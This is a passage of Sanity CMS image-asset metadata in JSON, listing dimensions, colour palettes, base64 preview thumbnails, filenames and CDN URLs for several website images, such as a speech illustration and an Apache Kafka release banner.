QP/gggASNqJI+nwnpr0g3T21juHPVNuXuJGtXU7hWqeLQiOHhaJJSg5MQ5t3pDUuz051nQ5zScTqSESZ4EXDgdCe/hbGN+JQV6HYVOTBYCgmEQg6UqCYhiCYm6yKObueNL00JVf/Ho5mTiqTFFgXd5GdC57zeD9TLeHb7M4NyzZrOP9O6as0+tOTJG3YG5m/QubPTVXoL6uZgzcP4aRdCeQjNFGePqgB3/vGf+18U/CxVGjO7IycKf+y5GX2mUvBnOd7r7Y6XXz1j7R+dqK+sKtxqHtyU14U4px9BOyDrOqaprHQB5B0esJihFwqAu+voI0Pi88okUklvTJZDK0L383vnGhcaCvraC9S5dVXVFlMufVPvxxq3GoO6UR3d7YhFrSWkYEFafv2TcZG+ys4PhxVOtHIO5hC0mRjVhESqKiPr+ekJBgUSqVqLhYi693XR14/vTp2ZqLfSUK4yidZMQ3NzTisymNlsoMw8sd+6qZxPKKKqqysjLCCgKswbBEqASROMI+MnLd5tjY2EepqWk4NzcXFRUXY7O57f2Dnt/u1X73l5FXbjnmr7EYQstQ/O6WX0MO6A3pmsJio0ajOazVatXAosywkFITsrAFQInETmKxOFsulz/btm0bLioqspSVlSGDoQG3d14Z2m969vO8XSO3uRmWi+SBgTwTc01lbKirKSwsasjPz08t0Gj8YcUyf1gbFgYrggJgVWjoFD6fny+TyV7l5OTg0tJSdPBgBaquPoJNrW2o+nzPcMyh/j+jdf2PD3zz6Gpbx+Vjp0+f2lGpqwopKNC4aLVaNkjXR4PPEh6wAWDNGp6XQCDQyWNj+9VqNS4oKEAlJSVYr9cjk+ks6rjc/f5Yx/2hI2duDZQfvdJTWt9eWNN83qfnThdHFR8Gnu5TAfhhYRAoTgOhgMeKjIwMWi+VmRKSkt+kpass2dnZKDc3F2s0GlTfYECnWhlLVfOl90ptOwpW0c+mx5n3TIg0T/NOvQU8RSVszy8HKJwBABmYcAotdF0lUajiElPubdqaOZKsVI3Kv4hHspgYnJiQgNIyslBK3hEUkt6KXOU0tpHQQwRJG4CkfQB+B3d5K0C49fsoMYDkGtcm/HiMF1V4iR+bMxSxYZclOGKLZeGSEOTr64sWLVqI/AOC8VxeBranjmGCYjCQdC9B0XqCoueAkLaeMLDG3hn5FIBqn8Mi2/T2ouO97pG12FNUYZn8WRKaNG0OdnFxwa6uU7HHDC/LFL/oN7a8mlcExTwgKPoEQdFRQDITrRhBWZsBACEDBEnPJyi6nkXRQ2zqAh63So9tvYTIwfHjYUdHbp+Li8svHp4zutx8w49PWF1RRJC0giDp5QRJOxMUQ1ihD/1hcCFIOg0o5gYIL7xiBxY/sXUL6LZ3mNjK5XIPTnJ2Vrm5e4g9fUL8uCv3uhOk2R5IM8eBpwMgmbG4/0TusEbusIJsgjT7EFR7HiE8d5IdWHzIdlqA0s7OLthhInc619HJfpKzM2c+ALDWtgBBtQOIOgGsG/0HtG74N2EYuQtFiU2HAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304a5e","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041884","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0668f9","foreground":"#fff","population":1.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcc5b5","foreground":"#000","population":0.09,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd49c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b7199","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0668f9","foreground":"#fff","population":1.09,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"womon-giving-speech.png","path":"images/sczeoy4w/production/d86802e92e53b39f286ffee7f08859d975f02f06-606x600.png","sha1hash":"d86802e92e53b39f286ffee7f08859d975f02f06","size":72720,"title":"Women giving speech title","uploadId":"3TfJcvbqwEM9tFGXdKTh8ui1QVgjuAm6","url":"https://cdn.sanity.io/images/sczeoy4w/production/d86802e92e53b39f286ffee7f08859d975f02f06-606x600.png"} {"_createdAt":"2022-06-30T20:10:40Z","_id":"image-4d86f4939a445d5a9f3a192c31ec272e3c82774c-2708x1771-png","_rev":"cEPH2uRN58AU2lp9QO8Im1","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:40Z","assetId":"4d86f4939a445d5a9f3a192c31ec272e3c82774c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VKO40c4nE1xuIA~q?bogj[NF00D%V[j[%MIUs:%Mofs:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5290796160361377,"height":1771,"width":2708},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABcRAAAXEQHKJvM/AAADmUlEQVQ4jR3OXWhWZQDA8cNUWq66cUS2KEwwcl3kSFHsvenKAovREFGIroKgGyWyG4kRBKurWRQLGcPe+UI1KCTdWyxYZI1JhNO3zfl+bef7PM85z/fHec45PWEX/9sff0cIOaikeoFzcZIzPqGkeiXX+QjFeKAsq6HS6LFS8fFSy9fKonjWVHankmooz/OXlNKnhJBvaa1P53l+TAj5mIMpfyoj4gIk4hdAxJ+AyUYq1BsI48F/rd1baXa+pNGNSqSNqjCvW2sfRoTto1xOci6WGaG3OJe/S2U+k1IddCKInr/vgSubfsY2QmxbMW53UnqOC7XfmKJWaH6p5HC1lHipMPm5qqwORimpuQn6DiSpSIPIRjEykMjrXMjjjhfGo+ud7fm2B0QfMtvPWDek4qI25rRSekopddUYddkYPad1PmeK4gPC2Nt+GP8QR7EEfmQjHxQQkibjouaEUTLa7bvzcQKEUtLmRdFVUk+JCF9gkHzDCW9IxKcVEV9Jwr8VgH4pwvhDHPR+SqJQJiG01AsLGceLgrGaAzI62veS+TgMhaHQ2lL1Zcrm4pXODFzbrlMvbaCW3ySb0TXcT+rxanc+vd2ZobG3DGEiE5BZAWBRYNSUDw4RlaN+jOogSYRmwFaF3GIpbXi3OnPRWn8WbYM6WHNX0nV/CXajWW+1XQ9bW1fSFN2EBMsQA0sELQpjmlrpmsNTNIrc4CqKQ0UYskypLULFp2EveDP24gkUpB/Blvdjdi+ooxC+F/aC8cBL3gGY3UgolT6BNpO8MEXZ1DqvOcILD+BWaybpbkQ+9HmAye0Ei3cBxcOyyvdhL72Y/N1fSe+6iwzgM8qaPT7hRwKqFiIqlZ8xGyFRCG2aOs9rDgviYdzunIFefzpK48sRJpMJ4seDfrxLG70Xhen70T/uEtj0FyjE45WtdgcxejEA+PsgI3IbUOsDaijmi4rSmoMyvIMzPiyE2C+EPMCFfJox8chvX19zlNEjJEjPg7tuM9vwGxzgk9La3dl6+xDcuLfgu728CxLrhrDCPbfJ7ndqzpMjIwO7Bgd3OI4z4DiOQ611vrj+q2OtdfLSPMNCNJne8f5CG8HPEpJTytohsrb+HGq1Pg+32ps9GPtuCLrZZneW3GkdcsbGxgaPHD786LGjR4dOvHpi5/LNP/7HHiSVfJyk+Cx0k0upDz5miL4sSv0QA+kegfAEZ/QTKuQ043JKYHqWAfjEf8n1RK+BTs9OAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58342c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1266a3","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a5c2d1","foreground":"#000","population":1.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5c2d1","foreground":"#000","population":1.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4db6f","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a3895e","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c11d2a","foreground":"#fff","population":0.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4d86f4939a445d5a9f3a192c31ec272e3c82774c-2708x1771.png","path":"images/sczeoy4w/production/4d86f4939a445d5a9f3a192c31ec272e3c82774c-2708x1771.png","sha1hash":"4d86f4939a445d5a9f3a192c31ec272e3c82774c","size":506256,"uploadId":"JJZDc1TgSxC1HjROGsjtltmMwimYNpYI","url":"https://cdn.sanity.io/images/sczeoy4w/production/4d86f4939a445d5a9f3a192c31ec272e3c82774c-2708x1771.png"} {"_createdAt":"2022-06-30T20:09:13Z","_id":"image-160a945ef8c8ba351ab009b87568a9309b0149ef-268x462-png","_rev":"cEPH2uRN58AU2lp9QO890b","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:31Z","assetId":"160a945ef8c8ba351ab009b87568a9309b0149ef","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ceO46n4T-;nUoMjF~p?HIUR7WBs:S0ofax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.5800865800865801,"height":462,"width":268},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAiCAYAAABfqvm9AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFC0lEQVRIic2Va08UVxjHR/0AaozR96J8AFNYfK1+gBo/h9b6roKKNamJMZRWsNH4ojXxRq2AZY0lrthFW1MV9+be2bntzN7Zy9zPzL85Z4ACdotN+qIkvzznnDn7m+dcnoFLxBOQ01mUMjmogghFUSCKEkRRRLFYRLGosEjHFUVl0R+jfYVFSZIZtM/JqTj0+edwnszCjCWhCCJi8Tii0SgSifeIx+NIJpMQBAGlUgmyLLM2RZL8F+dyOQYTlqKv4Dz6Afj+Bqy5X5F5F0Ho2TOEQiHG7OwswuEwEokEeJ5HJpNh7VQqxUgkElhYWGDk83lwajYOK/YC3psXsNIpqDyPdDqNXDaLbDbLfrS4uAhVVVGtVlmkW1Aul1lblmWWJc22UqmAK8oS9NYSHL0DS9dgGAZ03WCRtZejaZoMw/CjaVnr+pZlwbZtcJJcRFvTYVg2DNOCQSda9j9C57C57CW+iBDC4AqCiHK1hmq9gUqtzmKj2UKro31Au6OhoxvQDJMl0Wx3oOkGbNthGTYaDXDh+ReYmn6E23fv4fadu7hz7z4mHjzAw8kpPJxaYZr1fw4G8S4aZS+kwqVWG5phwHEcaJrGDo0b/eZbfHrsGD7p62P09fWhvz+AQGAAgQGfgYEB9Pf34+jRoxj5ehSCJLMtotkadMmOw/axVquBOzM4hN7eXmzdurUr27ZtA8dx2LVrFz4/fRrZ/CJM24G+vOdUSPePZsp9cWYQ+/b1sB9sxvbt2/HZqVOrQrqXBjsU569D+erSJQwcOoQ9e/Zg7969LG6Eju/evZut5Oy5cyjwAiyHrN4Ie61wJhjE6Ogozp8/35Xh4WHG5cuX8cvsLBpLS3BdDw4hbLl0qavCTCbLajUaiyEajbHa9Ws5hlgsxtq0pmn10NKiFULvnud5DEL3jhC4rgtCXHBzc3O4desWrl4dY4yPj2NsfNzvj41hbGwc165dw/Xr13Hz5k1MT0+z60FFHrCaGRO6LriRkREcOXIEPT092L9//zp6NvTpHh4/fhxPnz5l1YENQlZ6dJMPHDjwUadMofdxamqKVcYHQscBd44Ke3s/SrZlyxYEAoGuQpcu+d9kSIXdMvSWD4kbGjr7nwnpHzc0NPS/F57dVEhFmx2KtyIcHBxkd/Bjrw39vE1OTnYXfnnxIg4ePMi+JDt27OgKfb5z504cPnwYwWCwu3BiYgLDFy7gxIkTm3Ly5ElcuXKF/c+mH4SVWiZrhelMBoVCAQWe9+MK/Jr26hiPoqJA0zW4az4OZK1QVRQ4HQ0wLcAw/wY6bvnPLZtFTzfg0bgsWydUJAm2WgGkko+owhOK8HgZLkVS4Moqw5NL8CTVn1drArYDl7gbhHIRRqMOq15GuyZjqcqjWsmgVE5CKSeg1JJQ6ikotRRK1TSq1Ryb02mVYTo6bOKsFyaVJPJGDinyHhFnAQvOG7x1XuON8wfjNYX4bQp9RudEnQhSJAXREdEkTRCP+MIHyo+Yb4YQa/2O9NJbFNoJyO0M1HYe5XYB5VYB5eYiypoAhRQhQcaim0dai+Bd6yVemvOIkihaXssX3ih+h/nSYwjiK9QLMWhSHqYkwBZFEEkG4UWQggBSqcC2NJgw0XGaqFVzyCmvENZDCJN5VNyKL7xfvIeZ5k943phBpBZGvhGB3EihUs+hURfQrAloVgU0OjLKjgrJk5EjWbzVfkOoNYMn1mNESAQdr8OEfwLN8AsbB61ohQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#495154","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#049804","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1bec1d","foreground":"#fff","population":1.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e3cbd0","foreground":"#000","population":0.94,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4cfc74","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4555e","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1bec1d","foreground":"#fff","population":1.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"160a945ef8c8ba351ab009b87568a9309b0149ef-268x462.png","path":"images/sczeoy4w/production/160a945ef8c8ba351ab009b87568a9309b0149ef-268x462.png","sha1hash":"160a945ef8c8ba351ab009b87568a9309b0149ef","size":32067,"uploadId":"rPsh0ezzBnNsliOhZHlp43R3VJL6L33l","url":"https://cdn.sanity.io/images/sczeoy4w/production/160a945ef8c8ba351ab009b87568a9309b0149ef-268x462.png"} {"_createdAt":"2022-12-12T09:26:33Z","_id":"image-d2f810f156fe832e5d756ba1b8bc339881b53022-1264x682-svg","_rev":"Bp455s9rtQ49wRO6vkQPKh","_type":"sanity.imageAsset","_updatedAt":"2022-12-12T09:33:14Z","altText":null,"assetId":"d2f810f156fe832e5d756ba1b8bc339881b53022","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPSFeLqtyElVcZpeT0nNnNj?lUTeRjrWrq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8533724340175952,"height":682,"width":1264},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACGklEQVQokW2Tz2sTQRTH+/f4J3jzIoLgwYMIFvEkFPTWU8GDF0U8ebKI9KKWerChoknF2sQKBW0l/ohWMU0Ktslms9nM7uzMe7vZna/MJmlL7OHDd+Yw3/m+eW+mOB4Y4sREitAXofH7ASw9X+SIQEJpBnECzUmuE5hjmk2NDQOp4Lg9c9B2YdlvdXDQ6sDt+gjCCDLS/xEpnjQ01jC/SUplPLcLp9VCp+2g63rwesOEw8MEqSjXMePkdGSKKbIJiQ05TcjPRdN//wThpxWov7+hlQbxAIoS7PcJX1oSu56G1DH45JKNNQRrBaqtQS9cg7p7Gnr+Emh7GVr4uakteaMhcH/TQeGnj65kxKPKeKTj9aFhXCsiWbiIwb1TSObPgtcfIKoWEW69hPi6ho/ff+HRloM3fwR6kg+N2J4fMS4ZrDWS3TKyVzMwT88hezGNQWkOtHgd+uEF6MUZeNVV7LkCThjnT3A8GU0kNKy1SRoVZKUbBkvnYVauIl2dRbp0GdnjM0ifX0HybRnUd6HUsEG2wxal2WgavqGdmGFC0oj3Nk36bg5ZYRpp6SbSD3eQlm8hezuLrHIb8c5rRE4TwvfhizCnH0iEUkNTnDfmKCGzYa8J2ikaqj4D1wqI6+vgehlUr4AbG+D2D6heG6EIIIIox85upHiiyzaq3RBBhYGRwkcUCpCKoKIIUspcSWsQ2bmLT/wpow+S/QPIKy+g8SfQBgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#585858","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1187cb","foreground":"#fff","population":0.85,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f46608","foreground":"#fff","population":3.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0b7c1","foreground":"#000","population":0.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc058","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af8567","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46608","foreground":"#fff","population":3.7,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":null}},"originalFilename":"three-year-cost-per-organisation-infographic-full-width.svg","path":"images/sczeoy4w/production/d2f810f156fe832e5d756ba1b8bc339881b53022-1264x682.svg","sha1hash":"d2f810f156fe832e5d756ba1b8bc339881b53022","size":194871,"title":null,"uploadId":"nzaXcjY7WpsUBmRGQEEovv1X8iL4DiuM","url":"https://cdn.sanity.io/images/sczeoy4w/production/d2f810f156fe832e5d756ba1b8bc339881b53022-1264x682.svg"} {"_createdAt":"2022-09-17T21:00:20Z","_id":"image-4bd6ef2a225938a5337b6b6d64fd94d01e6787ca-1567x844-png","_rev":"8WeirZ6KB9gJqgJfviQ6oN","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:39Z","assetId":"4bd6ef2a225938a5337b6b6d64fd94d01e6787ca","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQQJ4V*0_M9Ft8Gcnhiwbvt7_3IAE1-poJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACcElEQVQokS3GW0/TUAAA4P42XjTRF5EHfCFIYkxEEzRCRJyYGEIy1AAuOnBy2djUBW9EeUAlGhkRRHaDbXRrt27tenrO6e2ctlthW43E5Hv4GJM4EBky0GSgSnUsyRgoGlB0iAzddKjtUvuYWu6/WC61m8RqmtQl1LWdY0YGai7P7adyyXR+P3n4J3mYTOVS6XyBrUiyVgeaKGEZGpKscryYL3CFI16qI02jlDgMwoSvyAVWOCpW/2MFtlgtclIqc/R5fePj2vrO71Rie/dN/G0otBCPr2bTWaQgapiMSZpItSGiEFunKEQEIZMrCbHo68HB60NDN8PL4ejKyn2fb2z4WjT4MLP9Va4IVMUMoa6qO1hzsGZj1caqhTHRsM7mCoHZQHd3T29v7/TUROTF7IN7I/7RS4nl/nJisc7mCAQMoU1Vs7BKsWpibKpYV5GKq2Xu17fVhbm7o77hkTvzT/2rSzPPpidXnlxh4xfUnRmdzzSQxFDq6JqpYV3Hqo6QgaCuAJRNVF6NbwduxYKBUCgciYTDC3NLQf9mqB+uXWymgs1a+gQLjGUSEyEDAhPKBNYpFAmo4eyWGLmdnzi7OXX13XN/bO7x8vTYemCAj51vfL/RZj+0pEwHc4yDgS5wqMLqIm+BsqOUHZkj5Sz8EZXmL5cmutKTZ3anzu096qq+7GpsDLQPFjvVREdKeYhlXKVmcDmldKDXig2l7MLyMeRdULIrabr3zvo0bsX6aLTHft938tPnFeKeuOvJGU859DSeaVmGqymOBpoGPCGwRWDbBG0TtAhoG2JbyXeErQ73pVPb8lDOMwTPFE9Jno3+AtV+Gw44vrkFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f3e40","foreground":"#fff","population":5.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4b2f12","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f59211","foreground":"#000","population":6.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2ceca","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5d132","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#606daf","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f59211","foreground":"#000","population":6.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4bd6ef2a225938a5337b6b6d64fd94d01e6787ca-1567x844.png","path":"images/sczeoy4w/production/4bd6ef2a225938a5337b6b6d64fd94d01e6787ca-1567x844.png","sha1hash":"4bd6ef2a225938a5337b6b6d64fd94d01e6787ca","size":428448,"uploadId":"HQaxBUwZINKsXIrHTfJfTIU2JudqPfQG","url":"https://cdn.sanity.io/images/sczeoy4w/production/4bd6ef2a225938a5337b6b6d64fd94d01e6787ca-1567x844.png"} {"_createdAt":"2024-04-12T11:43:00Z","_id":"image-9255a4c88afa22a5695730bea525b63e4f26aca8-1200x630-png","_rev":"x92MZWXNiN5YFkwWmtcK9x","_type":"sanity.imageAsset","_updatedAt":"2024-04-12T11:43:00Z","assetId":"9255a4c88afa22a5695730bea525b63e4f26aca8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCS-MD_kTJPB@st,$fV[SO#l*xK*i_#8K%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACY0lEQVQokW2TTUjTcRyHf5u6N0UW5jIJIxUnpYUKZXWQDtEpgsq36dRtbk636XI557bS+VYSFQhFRhIdKzpEEJEFXTsU1KnOQi8EYgfrsPZ94u8WRnT48bs9fD48n6/itGLzndVBmw46dOBQ0KWgR0GfQtwKvAoZUDCoIKiQYUUmrMiMKhhTEFVIVKFozQfnNujfCb5y8NnAUwxuC3gt4DPBgBEJWJDhQggZSI+Y+Bws5r2niI8+E+vhPDJRBeMasMMMoVpIHIVEM8Qa4XwtjNkhUQ8TdiRWiUzVIal9SHI3a6kmXsVOcM/bwqPBw7yL1LARK8oB200QroPJYzDZAomDELFDpDoLjNcisSpkci8yaefXfBOry8M8uTbFg4thVq5O8GbRz/qleojpNaARgjUQOwTJIxDdD74ScBmhX6tsRvwmJGBGgkbSMwdYfXiZZ0uLPF9I8uH+Ep+e3mLj5nFkIh9FmwHcZTC0B0LVEKgAVyF0K3BuSRFNik+RiVfw5W6IlzfmeHElzurj2/xYuU56sRkZ1xK2FkBvyZaUwfKsFKc+a9mlEE8OqFkOW/g+3cjb6VO8nunk67Kf9J2TZFKlWcvSmo84rYjbhvTbEO92pM+MdCukRyF9/wCD+aSjpawl7XxLNfBzoQGZq0Dixj+zySX0lIGnFHoLoUufrZzbIZ6/dhgqQCZsSKoSma1G5qtgthySFkSzLG0GxLUD8e3KJuyxIA7dVsJ/KktAj4wWQswKcSskrciFYiRuyAHP6JF2I9JpQhzan4c41P+BfoUMKUS7lBGFnFNIRCFjahOmAX8DIB0lvEEDWq4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a372e","foreground":"#fff","population":1.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#812904","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":16.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aec0cc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9be7b","foreground":"#000","population":0.94,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986353","foreground":"#fff","population":1.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":16.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"General event promo template with more info and speaker Orange.png","path":"images/sczeoy4w/production/9255a4c88afa22a5695730bea525b63e4f26aca8-1200x630.png","sha1hash":"9255a4c88afa22a5695730bea525b63e4f26aca8","size":174209,"uploadId":"Rr8VynbFyxG5Ok74bLYGnfTHFfY6rApA","url":"https://cdn.sanity.io/images/sczeoy4w/production/9255a4c88afa22a5695730bea525b63e4f26aca8-1200x630.png"} {"_createdAt":"2024-08-02T17:40:02Z","_id":"image-68b2094b33901f10a67db847930b1532c1db8de3-1200x628-png","_rev":"YaKEzcVhnb7P0fmfvH5OYj","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T17:40:02Z","assetId":"68b2094b33901f10a67db847930b1532c1db8de3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNi.*YXO-6Zj~Cl8jDieixbca2e.bugf","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAB6UlEQVQokU3RbU9SARjG8UNpIiRLkwKUQHkMOSI+lrlam36CplMJH4r5kBOR0ClWBAfUI+gJUeenvf91fNV2vf3tuu7disxbJdPP3mtyUfJRClEKQY5jlJKUVH6E+BVGG0JPYIxiDFOPUg9zFed6TJGlLvYTlGcpf6Q0Q3mG8lu0h1TGKcUpD3Ga5HKC5iRXKmcD1PrRB6mHFFl2yPcklTm0OSof0N6jzVBU2etjt5dsN7lnctBLyYseQQ9RcVF5Qc2D5lRksVM2feTjHCQ4VDlSORoy5YadTSvbHex0kLNRdFIbRA9y6jdr9QGqLkUW2mXtOVtedvzs+sj6yflMnHORd1Nwcejmp4/TGFejNMf4M0IziaFyEVBkvk3S3WTcbPax7eGbh2yfifc9HL7i2M+Jj99BLkZoTXM7bcpmwkwjrMinx7JoI+VgxcGKnTUbX21kbGw9Jd9LsZ+imxMX1QBGktYElzEaEbPZUBWZfyLpHll3ynqPpK2kHpG2sGoh007BiRagOkjZax5sJGiN04hSj3Cd5HZKkQWrrLtkwyuZl7Ji/w+3ceBEj3E5zFmY8wjNUW4mMeLmt++muH/3MHuhkyU7y1aW20hZ+KywqvDFQrZLqiFpDEstwHnYrL17Q2uMmwnup//hvwJTPxfjW5GYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#79421f","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b6642f","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#945204","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc07a","foreground":"#000","population":0.72,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Apache Kafka 380 Released.png","path":"images/sczeoy4w/production/68b2094b33901f10a67db847930b1532c1db8de3-1200x628.png","sha1hash":"68b2094b33901f10a67db847930b1532c1db8de3","size":187520,"uploadId":"HI0AOjMrurTLhTa8MklTEQsbJCkqHt9r","url":"https://cdn.sanity.io/images/sczeoy4w/production/68b2094b33901f10a67db847930b1532c1db8de3-1200x628.png"} {"_createdAt":"2022-06-17T08:37:17Z","_id":"image-144feda00a3074d4e1a82f6a2d492df62044ca67-160x160-png","_rev":"oamrAPLmQLQjd9jh7ZwCR8","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:17Z","assetId":"144feda00a3074d4e1a82f6a2d492df62044ca67","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eWOM?Iof?wt74T-paeNGt7j]57of00RjIo-;fPRPkCIoIoofDiRjxv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":160,"width":160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEcUlEQVQ4jW2UWVfTVxTF/4sHvgBfwr7pV8DVPvTBLher2lIQEAvIVAM10kYcCbgURUS0YHBAiQEtdaggYYgDSNFEZQ4JBA3EEKFEyED+GfbuumniSrUP9+nc87tnn7PPlQBICScJZAqArQDUJA0kHSQDseMAYBAxAKn8925SIiMRlkxyE4AiAJ0ALOFQyB3w+2Wf1xPZ8PkioWBQBuAmaYndKYzlJH8KFLDNsZdHAfh8Xg/nzJMc7Oum/u4tPuq+y3HTCJddSwwFgyTpIzkaU7I5Do3KjL0iYFYAYa9nnabhp2g6VYXKwmxU5q